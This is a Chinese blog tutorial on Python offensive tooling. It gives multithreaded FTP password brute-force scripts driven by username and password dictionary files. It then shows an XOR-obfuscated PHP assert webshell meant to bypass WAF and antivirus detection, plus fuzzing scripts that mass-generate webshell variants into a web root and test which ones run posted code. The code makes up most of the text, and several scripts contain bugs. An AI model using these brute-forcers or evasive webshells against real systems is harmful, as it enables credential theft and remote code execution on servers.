【Python】多线程Fuzz&&Waf异或免杀&爆破

注意sys.argv传参数必要时需要转换int型。

学习内容和目的

知识点:协议模块使用,Request爬虫技术,简易多线程技术,编码技术,Bypass后门技术
学习目的:掌握利用强大的模块实现各种协议连接操作(爆破或利用等),配合Fuzz吊打Waf

简单多线程脚本

queue,threading模块使用

利用FTP模块实现协议爆破脚本

1.ftplib模块使用
2.遍历用户及密码字典
3.尝试连接执行命令判断

不含多线程简单爆破

import ftplib
import sys
def ftp_brute():
	ftp=ftplib.FTP()
	ftp.connect('192.168.0.101',21)
	for username in open('ftp-user.txt'):
		for password in open('ftp-pass.txt'):
			username=username.replace('\n','')
			password=password.replace('\n','')
			try:
				ftp.login(username,password)
				list=ftp.retrlines('list')
				print(list)
				print(username+'|'+password+'ok')
			except ftplib.all_errors:
				pass
if __name__ == '__main__':
	ip=sys.argv[1]
	ftp_brute() 
引入queue和threading
import ftplib
import sys
import queue
import threading
def ftp_brute():
	ftp=ftplib.FTP()
	ftp.connect('192.168.0.101',21)
	while not q.empty():
		dict=q.get()
		dict=dict.split('|')
		username=dict[0]#因为q里面有|,分隔后每个q含有两项。
		password=dict[1]
		try:
			ftp.login(username,password)
			list=ftp.retrlines('list')
			print(list)
			print(username+'|'+password+'ok')
		except ftplib.all_errors:
			pass
	
	
			
if __name__ == '__main__':
	q=queue.Queue()
	for username in open('ftp-user.txt'):
		for password in open('ftp-pass.txt'):
			username=username.replace('\n','')
			password=password.replace('\n','')
			zidian=username+'|'+password
			q.put(zidian)
	for x in range(10):#10是线程数
		t=threading.Thread(target=ftp_brute)#函  数不加()
		t.start()

添加参数:

import ftplib
import sys
import queue
import threading
def ftp_brute(ip,port):
	ftp=ftplib.FTP()
	ftp.connect(ip,int(port))
	while not q.empty():
		dict=q.get()
		dict=dict.split('|')
		username=dict[0]#因为q里面有|,分隔后每个q含有两项。
		password=dict[1]
		try:
			ftp.login(username,password)
			list=ftp.retrlines('list')
			print(list)
			print(username+'|'+password+'ok')
		except ftplib.all_errors:
			pass
	
	
			
if __name__ == '__main__':
	ip=sys.argv[1]
	port=sys.argv[2]
	userfile=sys.argv[3]
	passfile=sys.argv[4]
	threading_num=sys.argv[5]

	q=queue.Queue()
	for username in open(userfile):
		for password in open(passfile):
			username=username.replace('\n','')
			password=password.replace('\n','')
			zidian=username+'|'+password
			q.put(zidian)
	for x in range(10):#10是线程数
		t=threading.Thread(target=ftp_brute,args=(ip,int(port)))#参数名args
		t.start()

配合Fuzz实现免杀异或Shell脚本

1.免杀异或Shell原理讲解及开发思路(参考及举例:^!@,"?等)
2.基于Fuzz思路生成大量Payload代码并有序命名写入到网站文件中。
3.基于多线程实现批量访问Shell文件并提交测试是否正常连接回显。

PHP异或
通过^进行异或运算:

<?php $a=("!"^"@").'ssert';$a($_POST[x]);?>

要把!@对应的二进制的ASCII码异或运算。得到的是a。免杀绕过的是assert。
如何去生成更多个a的运算符?

  • 1.搞清楚算法,一个个反推。
  • 2.遍历查找,看那个匹配a。

把后门木马写入www文件夹下,一个个测试request访问,看那个成功。

for i in range(1,127):
	for ii in range(1,127):
		code="<?php $a="+"'"+chr(i)+"('"+"^"+"'"+chr(ii)+"')"+".'ssert';$a($_POST[x]);?>"
		with open("E:/securitytools/phpstudy_pro/WWW"+str(i)+'xs'+str(ii)+'.php','a+') as f:
			f.write(code)
			f.close()

在这里插入图片描述
请求:
127.0.0.1/x/33xs64.php
传入参数
x=phpinfo()
可以看到等待assert命令的执行。
在这里插入图片描述

添加requests判断结果
import requests

for i in range(1,127):
	for ii in range(1,127):
		code="<?php $a="+"('"+chr(i)+"'"+"^"+"'"+chr(ii)+"')"+".'ssert';$a($_POST[x]);?>"
		with open("E:/securitytools/phpstudy_pro/WWW/x/"+str(i)+'xs'+str(ii)+'.php','a+') as f:
			f.write(code)
			f.close()
		url='http://127.0.0.1/x/'+str(i)+'xs'+str(ii)+'.php'
		data={
			'x':'phpinfo()'
		}
		result=requests.post(url,data=data).content.decode('utf-8')
		if 'xxx' in result:
			print('Bypass ok->'+str(i)+'xs'+str(ii)+'.php')
			print(code)
		#else
			#print(str(i)+'xs'+str(ii)+'.php'+'|No')

无子符后门,
assert中的每个字符都可以拆分。$a也可以拆分。
webshell免杀

多线程代码

原型代码,编译代码。

import requests
import time 
import threading,queue

def string():
	while not q.empty():
		filename=q.get()
		url='http://127.0.0.1/x/'+filename
		datas={
			'x':'phpinfo();'
		}
		result=requests.post(url,datas=datas).content.decode('utf-8')
		if 'xxx' in result:
			print('check->'+filename+'->OK')
		else:
			print('check->'+filename+'->No')
		time.sleep(1)

def shell_test_check():
	url='http://127.0.0.1/x/33x64.php'
	datas={
		'x':'phpinfo();'
	}
	result=requests.post(url,datas=datas).content.decode('utf-8')
		if 'xxx' in result:
			print('ok')

if __name__ == '__main__':
	q=queue.Queue()
	for i in range(1,127):
		for ii in range(1,127):
			payload="'"+chr(i)+"'"+"^"+"'"+chr(ii)+"'"
			code="<?php $a=("+payload+").'ssert';$a($_POST[x]);?>"
			filname=str(i)+'xd'+str(ii)+'.php'
			q.put(filename)
			with open('D://xxxx/www/x'+filename,'a') as f:
				f.write(code)
				f.close()
				print('Fuzz文件生成成功')
	for x in range(20):
		t=threading.Thread(target=string)
		t.start()
  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值